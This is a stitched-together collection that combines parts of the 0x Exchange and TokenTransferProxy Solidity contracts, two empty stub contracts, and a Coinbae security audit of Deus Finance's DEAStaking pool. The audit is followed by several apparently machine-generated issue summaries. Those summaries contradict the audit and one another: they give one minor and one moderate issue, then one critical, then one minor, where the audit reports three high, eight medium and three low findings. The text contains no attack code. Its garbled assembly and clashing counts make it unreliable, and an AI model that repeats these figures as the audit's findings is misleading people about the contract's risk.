filledTakerTokenAmount); require(transferViaTokenTransferProxy( order.makerToken, order.maker, msg.sender, filledMakerTokenAmount )); require(transferViaTokenTransferProxy( order.takerToken, msg.sender, order.maker, filledTakerTokenAmount )); if (order.feeRecipient != address(0)) { if (order.makerFee > 0) { paidMakerFee = getPartialAmount(filledTakerTokenAmount, order.takerTokenAmount, order.makerFee); require(transferViaTokenTransferProxy( ZRX_TOKEN_CONTRACT, order.maker, order.feeRecipient, paidMakerFee )); } if (order.takerFee > 0) { paidTakerFee = getPartialAmount(filledTakerTokenAmount, order.takerTokenAmount, order.takerFee); require(transferViaTokenTransferProxy( ZRX_TOKEN_CONTRACT, msg.sender, order.feeRecipient, paidTakerFee )); } } LogFill( order.maker, msg.sender, order.feeRecipient, order.makerToken, order.takerToken, filledMakerTokenAmount, filledTakerTokenAmount, paidMakerFee, paidTakerFee, keccak256(order.makerToken, order.takerToken), order.orderHash ); return filledTakerTokenAmount; } /// @dev Cancels the input order. /// @param orderAddresses Array of order's maker, taker, makerToken, takerToken, and feeRecipient. /// @param orderValues Array of order's makerTokenAmount, takerTokenAmount, makerFee, takerFee, expirationTimestampInSec, and salt. /// @param cancelTakerTokenAmount Desired amount of takerToken to cancel in order. /// @return Amount of takerToken cancelled. function cancelOrder( address[5] orderAddresses, uint[6] orderValues, uint cancelTakerTokenAmount) public returns (uint) { Order memory order = Order({ maker: orderAddresses[0], taker: orderAddresses[1], makerToken: orderAddresses[2], takerToken: orderAddresses[3], feeRecipient: orderAddresses[4], makerTokenAmount: orderValues[0], takerTokenAmount: orderValues[1], makerFee: orderValues[2], takerFee: orderValues[3], expirationTimestampInSec: orderValues[4], orderHash: getOrderHash(orderAddresses, orderValues) }); require(order.maker == msg.sender); require(order.makerTokenAmount > 0 && order.takerTokenAmount > 0 && cancelTakerTokenAmount > 0); if (block.timestamp >= order.expirationTimestampInSec) { LogError(uint8(Errors.ORDER_EXPIRED), order.orderHash); return 0; } uint remainingTakerTokenAmount = safeSub(order.takerTokenAmount, getUnavailableTakerTokenAmount(order.orderHash)); uint cancelledTakerTokenAmount = min256(cancelTakerTokenAmount, remainingTakerTokenAmount); if (cancelledTakerTokenAmount == 0) { LogError(uint8(Errors.ORDER_FULLY_FILLED_OR_CANCELLED), order.orderHash); return 0; } cancelled[order.orderHash] = safeAdd(cancelled[order.orderHash], cancelledTakerTokenAmount); LogCancel( order.maker, order.feeRecipient, order.makerToken, order.takerToken, getPartialAmount(cancelledTakerTokenAmount, order.takerTokenAmount, order.makerTokenAmount), cancelledTakerTokenAmount, keccak256(order.makerToken, order.takerToken), order.orderHash ); return cancelledTakerTokenAmount; } /* * Wrapper functions */ /// @dev Fills an order with specified parameters and ECDSA signature, throws if specified amount not filled entirely. /// @param orderAddresses Array of order's maker, taker, makerToken, takerToken, and feeRecipient. /// @param orderValues Array of order's makerTokenAmount, takerTokenAmount, makerFee, takerFee, expirationTimestampInSec, and salt. /// @param fillTakerTokenAmount Desired amount of takerToken to fill. /// @param v ECDSA signature parameter v. /// @param r ECDSA signature parameters r. /// @param s ECDSA signature parameters s. function fillOrKillOrder( address[5] orderAddresses, uint[6] orderValues, uint fillTakerTokenAmount, uint8 v, bytes32 r, bytes32 s) public { require(fillOrder( orderAddresses, orderValues, fillTakerTokenAmount, false, v, r, s ) == fillTakerTokenAmount); } /// @dev Synchronously executes multiple fill orders in a single transaction. /// @param orderAddresses Array of address arrays containing individual order addresses. /// @param orderValues Array of uint arrays containing individual order values. /// @param fillTakerTokenAmounts Array of desired amounts of takerToken to fill in orders. /// @param shouldThrowOnInsufficientBalanceOrAllowance Test if transfers will fail before attempting. /// @param v Array ECDSA signature v parameters. /// @param r Array of ECDSA signature r parameters. /// @param s Array of ECDSA signature s parameters. function batchFillOrders( address[5][] orderAddresses, uint[6][] orderValues, uint[] fillTakerTokenAmounts, bool shouldThrowOnInsufficientBalanceOrAllowance, uint8[] v, bytes32[] r, bytes32[] s) public { for (uint i = 0; i < orderAddresses.length; i++) { fillOrder( orderAddresses[i], orderValues[i], fillTakerTokenAmounts[i], shouldThrowOnInsufficientBalanceOrAllowance, v[i], r[i], s[i] ); } } /// @dev Synchronously executes multiple fillOrKill orders in a single transaction. /// @param orderAddresses Array of address arrays containing individual order addresses. /// @param orderValues Array of uint arrays containing individual order values. /// @param fillTakerTokenAmounts Array of desired amounts of takerToken to fill in orders. /// @param v Array ECDSA signature v parameters. /// @param r Array of ECDSA signature r parameters. /// @param s Array of ECDSA signature s parameters. function batchFillOrKillOrders( address[5][] orderAddresses, uint[6][] orderValues, uint[] fillTakerTokenAmounts, uint8[] v, bytes32[] r, bytes32[] s) public { for (uint i = 0; i < orderAddresses.length; i++) { fillOrKillOrder( orderAddresses[i], orderValues[i], fillTakerTokenAmounts[i], v[i], r[i], s[i] ); } } /// @dev Synchronously executes multiple fill orders in a single transaction until total fillTakerTokenAmount filled. /// @param orderAddresses Array of address arrays containing individual order addresses. /// @param orderValues Array of uint arrays containing individual order values. /// @param fillTakerTokenAmount Desired total amount of takerToken to fill in orders. /// @param shouldThrowOnInsufficientBalanceOrAllowance Test if transfers will fail before attempting. /// @param v Array ECDSA signature v parameters. /// @param r Array of ECDSA signature r parameters. /// @param s Array of ECDSA signature s parameters. /// @return Total amount of fillTakerTokenAmount filled in orders. function fillOrdersUpTo( address[5][] orderAddresses, uint[6][] orderValues, uint fillTakerTokenAmount, bool shouldThrowOnInsufficientBalanceOrAllowance, uint8[] v, bytes32[] r, bytes32[] s) public returns (uint) { uint filledTakerTokenAmount = 0; for (uint i = 0; i < orderAddresses.length; i++) { require(orderAddresses[i][3] == orderAddresses[0][3]); // takerToken must be the same for each order filledTakerTokenAmount = safeAdd(filledTakerTokenAmount, fillOrder( orderAddresses[i], orderValues[i], safeSub(fillTakerTokenAmount, filledTakerTokenAmount), shouldThrowOnInsufficientBalanceOrAllowance, v[i], r[i], s[i] )); if (filledTakerTokenAmount == fillTakerTokenAmount) break; } return filledTakerTokenAmount; } /// @dev Synchronously cancels multiple orders in a single transaction. /// @param orderAddresses Array of address arrays containing individual order addresses. /// @param orderValues Array of uint arrays containing individual order values. /// @param cancelTakerTokenAmounts Array of desired amounts of takerToken to cancel in orders. function batchCancelOrders( address[5][] orderAddresses, uint[6][] orderValues, uint[] cancelTakerTokenAmounts) public { for (uint i = 0; i < orderAddresses.length; i++) { cancelOrder( orderAddresses[i], orderValues[i], cancelTakerTokenAmounts[i] ); } } /* * Constant public functions */ /// @dev Calculates Keccak-256 hash of order with specified parameters. /// @param orderAddresses Array of order's maker, taker, makerToken, takerToken, and feeRecipient. /// @param orderValues Array of order's makerTokenAmount, takerTokenAmount, makerFee, takerFee, expirationTimestampInSec, and salt. /// @return Keccak-256 hash of order. function getOrderHash(address[5] orderAddresses, uint[6] orderValues) public constant returns (bytes32) { return keccak256( address(this), orderAddresses[0], // maker orderAddresses[1], // taker orderAddresses[2], // makerToken orderAddresses[3], // takerToken orderAddresses[4], // feeRecipient orderValues[0], // makerTokenAmount orderValues[1], // takerTokenAmount orderValues[2], // makerFee orderValues[3], // takerFee orderValues[4], // expirationTimestampInSec orderValues[5] // salt ); } /// @dev Verifies that an order signature is valid. /// @param signer address of signer. /// @param hash Signed Keccak-256 hash. /// @param v ECDSA signature parameter v. /// @param r ECDSA signature parameters r. /// @param s ECDSA signature parameters s. /// @return Validity of order signature. function isValidSignature( address signer, bytes32 hash, uint8 v, bytes32 r, bytes32 s) public constant returns (bool) { return signer == ecrecover( keccak256("\x19Ethereum Signed Message:\n32", hash), v, r, s ); } /// @dev Checks if rounding error > 0.1%. /// @param numerator Numerator. /// @param denominator Denominator. /// @param target Value to multiply with numerator/denominator. /// @return Rounding error is present. function isRoundingError(uint numerator, uint denominator, uint target) public constant returns (bool) { uint remainder = mulmod(target, numerator, denominator); if (remainder == 0) return false; // No rounding error. uint errPercentageTimes1000000 = safeDiv( safeMul(remainder, 1000000), safeMul(numerator, target) ); return errPercentageTimes1000000 > 1000; } /// @dev Calculates partial value given a numerator and denominator. /// @param numerator Numerator. /// @param denominator Denominator. /// @param target Value to calculate partial of. /// @return Partial value of target. function getPartialAmount(uint numerator, uint denominator, uint target) public constant returns (uint) { return safeDiv(safeMul(numerator, target), denominator); } /// @dev Calculates the sum of values already filled and cancelled for a given order. /// @param orderHash The Keccak-256 hash of the given order. /// @return Sum of values already filled and cancelled. function getUnavailableTakerTokenAmount(bytes32 orderHash) public constant returns (uint) { return safeAdd(filled[orderHash], cancelled[orderHash]); } /* * Internal functions */ /// @dev Transfers a token using TokenTransferProxy transferFrom function. /// @param token Address of token to transferFrom. /// @param from Address transfering token. /// @param to Address receiving token. /// @param value Amount of token to transfer. /// @return Success of token transfer. function transferViaTokenTransferProxy( address token, address from, address to, uint value) internal returns (bool) { return TokenTransferProxy(TOKEN_TRANSFER_PROXY_CONTRACT).transferFrom(token, from, to, value); } /// @dev Checks if any order transfers will fail. /// @param order Order struct of params that will be checked. /// @param fillTakerTokenAmount Desired amount of takerToken to fill. /// @return Predicted result of transfers. function isTransferable(Order order, uint fillTakerTokenAmount) internal constant // The called token contracts may attempt to change state, but will not be able to due to gas limits on getBalance and getAllowance. returns (bool) { address taker = msg.sender; uint fillMakerTokenAmount = getPartialAmount(fillTakerTokenAmount, order.takerTokenAmount, order.makerTokenAmount); if (order.feeRecipient != address(0)) { bool isMakerTokenZRX = order.makerToken == ZRX_TOKEN_CONTRACT; bool isTakerTokenZRX = order.takerToken == ZRX_TOKEN_CONTRACT; uint paidMakerFee = getPartialAmount(fillTakerTokenAmount, order.takerTokenAmount, order.makerFee); uint paidTakerFee = getPartialAmount(fillTakerTokenAmount, order.takerTokenAmount, order.takerFee); uint requiredMakerZRX = isMakerTokenZRX ? safeAdd(fillMakerTokenAmount, paidMakerFee) : paidMakerFee; uint requiredTakerZRX = isTakerTokenZRX ? safeAdd(fillTakerTokenAmount, paidTakerFee) : paidTakerFee; if ( getBalance(ZRX_TOKEN_CONTRACT, order.maker) < requiredMakerZRX || getAllowance(ZRX_TOKEN_CONTRACT, order.maker) < requiredMakerZRX || getBalance(ZRX_TOKEN_CONTRACT, taker) < requiredTakerZRX || getAllowance(ZRX_TOKEN_CONTRACT, taker) < requiredTakerZRX ) return false; if (!isMakerTokenZRX && ( getBalance(order.makerToken, order.maker) < fillMakerTokenAmount // Don't double check makerToken if ZRX || getAllowance(order.makerToken, order.maker) < fillMakerTokenAmount) ) return false; if (!isTakerTokenZRX && ( getBalance(order.takerToken, taker) < fillTakerTokenAmount // Don't double check takerToken if ZRX || getAllowance(order.takerToken, taker) < fillTakerTokenAmount) ) return false; } else if ( getBalance(order.makerToken, order.maker) < fillMakerTokenAmount || getAllowance(order.makerToken, order.maker) < fillMakerTokenAmount || getBalance(order.takerToken, taker) < fillTakerTokenAmount || getAllowance(order.takerToken, taker) < fillTakerTokenAmount ) return false; return true; } /// @dev Get token balance of an address. /// @param token Address of token. /// @param owner Address of owner. /// @return Token balance of owner. function getBalance(address token, address owner) internal constant // The called token contract may attempt to change state, but will not be able to due to an added gas limit. returns (uint) { return Token(token).balanceOf.gas(EXTERNAL_QUERY_GAS_LIMIT)(owner); // Limit gas to prevent reentrancy } /// @dev Get allowance of token given to TokenTransferProxy by an address. /// @param token Address of token. /// @param owner Address of owner. /// @return Allowance of token given to TokenTransferProxy by owner. function getAllowance(address token, address owner) internal constant // The called token contract may attempt to change state, but will not be able to due to an added gas limit. returns (uint) { return Token(token).allowance.gas(EXTERNAL_QUERY_GAS_LIMIT)(owner, TOKEN_TRANSFER_PROXY_CONTRACT); // Limit gas to prevent reentrancy } }
Coinbae Audit DEAStaking from Deus Finance December 2020 Contents Disclaimer 1Introduction, 2 Scope, 5 Synopsis, 7 Best Practice, 8 High Severity, 9 Team, 12 Introduction Audit: In December 2020 Coinbae’s audit report division performed an audit for the Deus Finance team (DEAStaking pool). https://etherscan.io/address/0x1D17d697cAAffE53bf3bFdE761c90D6 1F6ebdc41#code Deus Finance: DEUS lets you trade real-world assets and derivatives, like stocks and commodities, directly on the Ethereum blockchain. As described in the Deus Finance litepaper . DEUS finance is a Decentralized Finance (DeFi) protocol that allows bringing any verifiable digital and non-digital asset onto the blockchain. It boosts the transfer of value across many different markets and exchanges with unprecedented ease, transparency, and security. The launch system is currently being built on the Ethereum-blockchain and will be chain-agnostic in the future. It started out originally as development on a tool to manage the asset basket for a community crypto investment pool. This turned into the vision of DEUS as a DAO-governed, decentralized platform that holds and mirrors assets. More information can be found at https://deus.finance/home/ . 2Introduction Overview: Information: Ticker: DEA Type: Token (0x80ab141f324c3d6f2b18b030f1c4e95d4d658778) Ticker: DEUS Type: Token (0x3b62f3820e0b035cc4ad602dece6d796bc325325) Pool, Asset or Contract address: 0x1D17d697cAAffE53bf3bFdE761c90D61F6ebdc41 Supply: Current: 2,384,600 Explorers: Etherscan.io Websites: https://deus.finance/home/ Links: Github 3Introduction Compiler related issues: It is best practice to use the latest version of the solidity compiler supported by the toolset you use. This so it includes all the latest bug fixes of the solidity compiler. When you use for instance the openzeppelin contracts in your code the solidity version you should use should be 0.8.0 because this is the latest version supported. Caution: The solidity versions used for the audited contracts are 0.6.11 this version has the following known bugs so the compiled contract might be susceptible to: EmptyByteArrayCopy – Medium risk Copying an empty byte array (or string) from memory or calldata to storage can result in data corruption if the target array's length is increased subsequently without storing new data. https://etherscan.io/solcbuginfo?a=EmptyByteArrayCopy DynamicArrayCleanup – Medium risk When assigning a dynamically-sized array with types of size at most 16 bytes in storage causing the assigned array to shrink, some parts of deleted slots were not zeroed out. https://etherscan.io/solcbuginfo?a=DynamicArrayCleanup Advice: Update the contracts to the latest supported version of solidity. https://etherscan.io/address/0x1D17d697cAAffE53bf3bFdE761c90D61F6 ebdc41#code DEA Staking 4Audit Report Scope Assertions and Property Checking: 1. Solidity assert violation. 2. Solidity AssertionFailed event. ERC Standards: 1. Incorrect ERC20 implementation. Solidity Coding Best Practices: 1. Outdated compiler version. 2. No or floating compiler version set. 3. Use of right-to-left-override control character. 4. Shadowing of built-in symbol. 5. Incorrect constructor name. 6. State variable shadows another state variable. 7. Local variable shadows a state variable. 8. Function parameter shadows a state variable. 9. Named return value shadows a state variable. 10. Unary operation without effect Solidity code analysis. 11. Unary operation directly after assignment. 12. Unused state variable. 13. Unused local variable. 14. Function visibility is not set. 15. State variable visibility is not set. 16. Use of deprecated functions: call code(), sha3(), … 17. Use of deprecated global variables (msg.gas, ...). 18. Use of deprecated keywords (throw, var). 19. Incorrect function state mutability. 20. Does the code conform to the Solidity styleguide. Convert code to conform Solidity styleguide: 1. Convert all code so that it is structured accordingly the Solidity styleguide. 5Audit Report Scope Categories: High Severity: High severity issues opens the contract up for exploitation from malicious actors. We do not recommend deploying contracts with high severity issues. Medium Severity Issues: Medium severity issues are errors found in contracts that hampers the effectiveness of the contract and may cause outcomes when interacting with the contract. It is still recommended to fix these issues. Low Severity Issues: Low severity issues are warning of minor impact on the overall integrity of the contract. These can be fixed with less urgency. 6Audit Report 11110 3 8 0Identified Confirmed Critical High Medium Low Analysis: https://etherscan.io/address/0x1D17d697cAAffE53bf3bFdE761c90D6 1F6ebdc41#code Risk: Low (Explained) 7Audit Report Coding best practices: Function could be marked as external SWC-000: Calling each function, we can see that the public function uses 496 gas, while the external function uses only 261. The difference is because in public functions, Solidity immediately copies array arguments to memory, while external functions can read directly from calldata. Memory allocation is expensive, whereas reading from calldata is cheap. So if you can, use external instead of public. Affected lines: 1. function setWallets(address _daoWallet, address _earlyFoundersWallet) public onlyOwner { [#65] 2. function setShares(uint256 _daoShare, uint256 _earlyFoundersShare) public onlyOwner { [#70] 3. function setRewardPerBlock(uint256 _rewardPerBlock) public onlyOwner { [#76] 4. function deposit(uint256 amount) public { [#105] 5. function withdraw(uint256 amount) public { [#123] 6. function emergencyWithdraw() public { [#156] 7. function withdrawAllRewardTokens(address to) public onlyOwner { [#171] 8. function withdrawAllStakedtokens(address to) public onlyOwner { [#178] 8Audit Report High severity issues, Overpowered user: See the update and teams response on page 10. Description: Functions on DEAStaking.sol (setShares, setRewardPerBlock`,setWallets) are callable only from one address if the private key of this address becomes compromised rewards can be changed and this may lead to undesirable consequences. Line 65: functionsetWallets(address_daoWallet,address_earlyFoundersWallet)publ iconlyOwner{daoWallet=_daoWallet;earlyFoundersWallet=_earlyFounders Wallet;} Line 70: functionsetShares(uint256_daoShare,uint256_earlyFoundersShare)public onlyOwner{withdrawParticleCollector();daoShare=_daoShare;earlyFound ersShare=_earlyFoundersShare;} Line 70: functionsetRewardPerBlock(uint256_rewardPerBlock)publiconlyOwner{u pdate();emitRewardPerBlockChanged(rewardPerBlock,_rewardPerBlock);r ewardPerBlock=_rewardPerBlock;} Recommendation: Use a multisig wallet for overpowered users. 9Audit Report Solved issues (Risk moved to Low): Update: After pointing out the high severity issues to the Deus Finance team consensus was reached and corroborated by the Coinbae team. The Deus Finance team did in fact place control of the contracts under ownership of the DAO(Decentralized autonomous organization) as can be seen in this tx id. 0xe054207b2f61b9fbd82f6986a7e8b16462f41b76002e9f6c6fce43220a4 b6e9c Deus Finance DAO link: https://client.aragon.org/#/deus Debugging snippet Deus-DEA: status true Transaction mined and execution succeed transaction hash 0xe054207b2f61b9fbd82f6986a7e8b16462f41b76002e9f6c6fce43220a4b6e9c from 0x8b9C5d6c73b4d11a362B62Bd4B4d3E52AF55C630 to Staking.transferOwnership(address) 0x8Cd408279e966b7e7E1f0b9E5eD8191959d11a19 gas 30940 gas transaction cost 30940 gas hash 0xe054207b2f61b9fbd82f6986a7e8b16462f41b76002e9f6c6fce43220a4b6e9c input 0xf2f...9bc0f decoded input { "address newOwner": "0xd9775d818FC23e07aC4b8eFd4C58972F7c59BC0f" } decoded output - logs [ { "from": "0x8Cd408279e966b7e7E1f0b9E5eD8191959d11a19", "topic": "0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0", "event": "OwnershipTransferred", "args": { "0": "0x8b9C5d6c73b4d11a362B62Bd4B4d3E52AF55C630", "1": "0xd9775d818FC23e07aC4b8eFd4C58972F7c59BC0f", "previousOwner": "0x8b9C5d6c73b4d11a362B62Bd4B4d3E52AF55C630", "newOwner": "0xd9775d818FC23e07aC4b8eFd4C58972F7c59BC0f", "length": 2 } } ] value 0 wei 10Contract Flow 11 Audit Team Team Lead: Eelko Neven Eelko has been in the it/security space since 1991. His passion started when he was confronted with a formatted hard drive and no tools to undo it. At that point he started reading a lot of material on how computers work and how to make them work for others. After struggling for a few weeks he finally wrote his first HD data recovery program. Ever since then when he was faced with a challenge he just persisted until he had a solution. This mindset helped him tremendously in the security space. He found several vulnerabilities in large corporation servers and notified these corporations in a responsible manner. Among those are Google, Twitter, General Electrics etc. For the last 12 years he has been working as a professional security /code auditor and performed over 1500 security audits / code reviews, he also wrote a similar amount of reports. He has extensive knowledge of the Solidity programming language and this is why he loves to do Defi and other smartcontract reviews. Email: info@coinbae.com 12Coinbae Audit Disclaimer Coinbae audit is not a security warranty, investment advice, or an endorsement of the Deus Finance platform. This audit does not provide a security or correctness guarantee of the audited smart contracts. The statements made in this document should not be interpreted as investment or legal advice, nor should its authors be held accountable for decisions made based on them. Securing smart contracts is a multistep process. One audit cannot be considered enough. We recommend that the the Deus Finance Team put in place a bug bounty program to encourage further analysis of the smart contract by other third parties. 13Conclusion We performed the procedures as laid out in the scope of the audit and there were 11 findings, 8 medium and 3 low. There were also 3 high severity issues that were explained by the team in their response. Subsequently, these issues were removed by Coinbae, although still on the report for transparency’s sake. The medium risk issues do not pose a security risk as they are best practice issues that is why the overall risk level is low.
Issues Count of Minor/Moderate/Major/Critical Minor: 1 Moderate: 1 Major: 0 Critical: 0 Minor Issues 2.a Problem: Solidity assert violation. 2.b Fix: Update the contracts to the latest supported version of solidity. Moderate Issues 3.a Problem: Incorrect ERC20 implementation. 3.b Fix: Update the contracts to the latest supported version of solidity. Major Issues: None Critical Issues: None Observations: It is best practice to use the latest version of the solidity compiler supported by the toolset you use. Conclusion: Coinbae's audit report division performed an audit for the Deus Finance team (DEAStaking pool) and found 1 minor and 1 moderate issue. The issues can be fixed by updating the contracts to the latest supported version of solidity. Issues Count of Minor/Moderate/Major/Critical: - Minor: 0 - Moderate: 0 - Major: 0 - Critical: 1 Critical: 5.a Problem: Overpowered user 5.b Fix: See the update and teams response on page 10. Observations: - Outdated compiler version - No or floating compiler version set - Use of right-to-left-override control character - Shadowing of built-in symbol - Incorrect constructor name - State variable shadows another state variable - Local variable shadows a state variable - Function parameter shadows a state variable - Named return value shadows a state variable - Unary operation without effect Solidity code analysis - Unary operation directly after assignment - Unused state variable - Unused local variable - Function visibility is not set - State variable visibility is not set - Use of deprecated functions: call code(), sha3(), etc. - Use of deprecated global variables (msg.gas, etc.) - Use of deprecated keywords (throw, var) - Incorrect function state mutability - Does the code conform to the Solidity styleguide Issues Count of Minor/Moderate/Major/Critical: Minor: 1 Moderate: 0 Major: 0 Critical: 0 Minor Issues: 2.a Problem: Functions on DEAStaking.sol (setShares, setRewardPerBlock`,setWallets) are callable only from one address if the private key of this address becomes compromised rewards can be changed and this may lead to undesirable consequences. 2.b Fix: Use a multisig wallet for overpowered users. Moderate: None Major: None Critical: None Observations: After pointing out the high severity issues to the Deus Finance team consensus was reached and corroborated by the Coinbae team. The Deus Finance team did in fact place control of the contracts under ownership of the DAO(Decentralized autonomous organization) as can be seen in this tx id. Conclusion: The audit team concluded that the issue was solved and the risk was moved to low.
/* Copyright 2019 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity ^0.4.14; import { Ownable } from "zeppelin-solidity/contracts/ownership/Ownable.sol"; import { ERC20 as Token } from "zeppelin-solidity/contracts/token/ERC20/ERC20.sol"; /// @title TokenTransferProxy - Transfers tokens on behalf of contracts that have been approved via decentralized governance. /// @author Amir Bandeali - <amir@0xProject.com>, Will Warren - <will@0xProject.com> contract TokenTransferProxy is Ownable { /// @dev Only authorized addresses can invoke functions with this modifier. modifier onlyAuthorized { require(authorized[msg.sender]); _; } modifier targetAuthorized(address target) { require(authorized[target]); _; } modifier targetNotAuthorized(address target) { require(!authorized[target]); _; } mapping (address => bool) public authorized; address[] public authorities; event LogAuthorizedAddressAdded(address indexed target, address indexed caller); event LogAuthorizedAddressRemoved(address indexed target, address indexed caller); /* * Public functions */ /// @dev Authorizes an address. /// @param target Address to authorize. function addAuthorizedAddress(address target) public onlyOwner targetNotAuthorized(target) { authorized[target] = true; authorities.push(target); LogAuthorizedAddressAdded(target, msg.sender); } /// @dev Removes authorizion of an address. /// @param target Address to remove authorization from. function removeAuthorizedAddress(address target) public onlyOwner targetAuthorized(target) { delete authorized[target]; for (uint i = 0; i < authorities.length; i++) { if (authorities[i] == target) { authorities[i] = authorities[authorities.length - 1]; authorities.length -= 1; break; } } LogAuthorizedAddressRemoved(target, msg.sender); } /// @dev Calls into ERC20 Token contract, invoking transferFrom. /// @param token Address of token to transfer. /// @param from Address to transfer token from. /// @param to Address to transfer token to. /// @param value Amount of token to transfer. /// @return Success of transfer. function transferFrom( address token, address from, address to, uint value) public onlyAuthorized returns (bool) { return Token(token).transferFrom(from, to, value); } /* * Public constant functions */ /// @dev Gets all authorized addresses. /// @return Array of authorized addresses. function getAuthorizedAddresses() public constant returns (address[]) { return authorities; } } pragma solidity ^0.4.14; contract ContractNameThatDoesntMatchFilename { } pragma solidity ^0.4.14; contract EmptyContract { } /* Copyright 2019 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity ^0.4.14; import {ERC20 as Token} from "zeppelin-solidity/contracts/token/ERC20/ERC20.sol"; import "./TokenTransferProxy.sol"; import "./base/SafeMath.sol"; /// @title Exchange - Facilitates exchange of ERC20 tokens. /// @author Amir Bandeali - <amir@0xProject.com>, Will Warren - <will@0xProject.com> contract Exchange is SafeMath { // Error Codes enum Errors { ORDER_EXPIRED, // Order has already expired ORDER_FULLY_FILLED_OR_CANCELLED, // Order has already been fully filled or cancelled ROUNDING_ERROR_TOO_LARGE, // Rounding error too large INSUFFICIENT_BALANCE_OR_ALLOWANCE // Insufficient balance or allowance for token transfer } string constant public VERSION = "1.0.0"; uint16 constant public EXTERNAL_QUERY_GAS_LIMIT = 4999; // Changes to state require at least 5000 gas address public ZRX_TOKEN_CONTRACT; address public TOKEN_TRANSFER_PROXY_CONTRACT; // Mappings of orderHash => amounts of takerTokenAmount filled or cancelled. mapping (bytes32 => uint) public filled; mapping (bytes32 => uint) public cancelled; event LogFill( address indexed maker, address taker, address indexed feeRecipient, address makerToken, address takerToken, uint filledMakerTokenAmount, uint filledTakerTokenAmount, uint paidMakerFee, uint paidTakerFee, bytes32 indexed tokens, // keccak256(makerToken, takerToken), allows subscribing to a token pair bytes32 orderHash ); event LogCancel( address indexed maker, address indexed feeRecipient, address makerToken, address takerToken, uint cancelledMakerTokenAmount, uint cancelledTakerTokenAmount, bytes32 indexed tokens, bytes32 orderHash ); event LogError(uint8 indexed errorId, bytes32 indexed orderHash); struct Order { address maker; address taker; address makerToken; address takerToken; address feeRecipient; uint makerTokenAmount; uint takerTokenAmount; uint makerFee; uint takerFee; uint expirationTimestampInSec; bytes32 orderHash; } function Exchange(address _zrxToken, address _tokenTransferProxy) { ZRX_TOKEN_CONTRACT = _zrxToken; TOKEN_TRANSFER_PROXY_CONTRACT = _tokenTransferProxy; } /* * Core exchange functions */ /// @dev Fills the input order. /// @param orderAddresses Array of order's maker, taker, makerToken, takerToken, and feeRecipient. /// @param orderValues Array of order's makerTokenAmount, takerTokenAmount, makerFee, takerFee, expirationTimestampInSec, and salt. /// @param fillTakerTokenAmount Desired amount of takerToken to fill. /// @param shouldThrowOnInsufficientBalanceOrAllowance Test if transfer will fail before attempting. /// @param v ECDSA signature parameter v. /// @param r ECDSA signature parameters r. /// @param s ECDSA signature parameters s. /// @return Total amount of takerToken filled in trade. function fillOrder( address[5] orderAddresses, uint[6] orderValues, uint fillTakerTokenAmount, bool shouldThrowOnInsufficientBalanceOrAllowance, uint8 v, bytes32 r, bytes32 s) public returns (uint filledTakerTokenAmount) { Order memory order = Order({ maker: orderAddresses[0], taker: orderAddresses[1], makerToken: orderAddresses[2], takerToken: orderAddresses[3], feeRecipient: orderAddresses[4], makerTokenAmount: orderValues[0], takerTokenAmount: orderValues[1], makerFee: orderValues[2], takerFee: orderValues[3], expirationTimestampInSec: orderValues[4], orderHash: getOrderHash(orderAddresses, orderValues) }); require(order.taker == address(0) || order.taker == msg.sender); require(order.makerTokenAmount > 0 && order.takerTokenAmount > 0 && fillTakerTokenAmount > 0); require(isValidSignature( order.maker, order.orderHash, v, r, s )); if (block.timestamp >= order.expirationTimestampInSec) { LogError(uint8(Errors.ORDER_EXPIRED), order.orderHash); return 0; } uint remainingTakerTokenAmount = safeSub(order.takerTokenAmount, getUnavailableTakerTokenAmount(order.orderHash)); filledTakerTokenAmount = min256(fillTakerTokenAmount, remainingTakerTokenAmount); if (filledTakerTokenAmount == 0) { LogError(uint8(Errors.ORDER_FULLY_FILLED_OR_CANCELLED), order.orderHash); return 0; } if (isRoundingError(filledTakerTokenAmount, order.takerTokenAmount, order.makerTokenAmount)) { LogError(uint8(Errors.ROUNDING_ERROR_TOO_LARGE), order.orderHash); return 0; } if (!shouldThrowOnInsufficientBalanceOrAllowance && !isTransferable(order, filledTakerTokenAmount)) { LogError(uint8(Errors.INSUFFICIENT_BALANCE_OR_ALLOWANCE), order.orderHash); return 0; } uint filledMakerTokenAmount = getPartialAmount(filledTakerTokenAmount, order.takerTokenAmount, order.makerTokenAmount); uint paidMakerFee; uint paidTakerFee; filled[order.orderHash] = safeAdd(filled[order.orderHash], filledTakerTokenAmount); require(transferViaTokenTransferProxy( order.makerToken, order.maker, msg.sender, filledMakerTokenAmount )); require(transferViaTokenTransferProxy( order.takerToken, msg.sender, order.maker, filledTakerTokenAmount )); if (order.feeRecipient != address(0)) { if (order.makerFee > 0) { paidMakerFee = getPartialAmount(filledTakerTokenAmount, order.takerTokenAmount, order.makerFee); require(transferViaTokenTransferProxy( ZRX_TOKEN_CONTRACT, order.maker, order.feeRecipient, paidMakerFee )); } if (order.takerFee > 0) { paidTakerFee = getPartialAmount(filledTakerTokenAmount, order.takerTokenAmount, order.takerFee); require(transferViaTokenTransferProxy( ZRX_TOKEN_CONTRACT, msg.sender, order.feeRecipient, paidTakerFee )); } } LogFill( order.maker, msg.sender, order.feeRecipient, order.makerToken, order.takerToken, filledMakerTokenAmount, filledTakerTokenAmount, paidMakerFee, paidTakerFee, keccak256(order.makerToken, order.takerToken), order.orderHash ); return filledTakerTokenAmount; } /// @dev Cancels the input order. /// @param orderAddresses Array of order's maker, taker, makerToken, takerToken, and feeRecipient. /// @param orderValues Array of order's makerTokenAmount, takerTokenAmount, makerFee, takerFee, expirationTimestampInSec, and salt. /// @param cancelTakerTokenAmount Desired amount of takerToken to cancel in order. /// @return Amount of takerToken cancelled. function cancelOrder( address[5] orderAddresses, uint[6] orderValues, uint cancelTakerTokenAmount) public returns (uint) { Order memory order = Order({ maker: orderAddresses[0], taker: orderAddresses[1], makerToken: 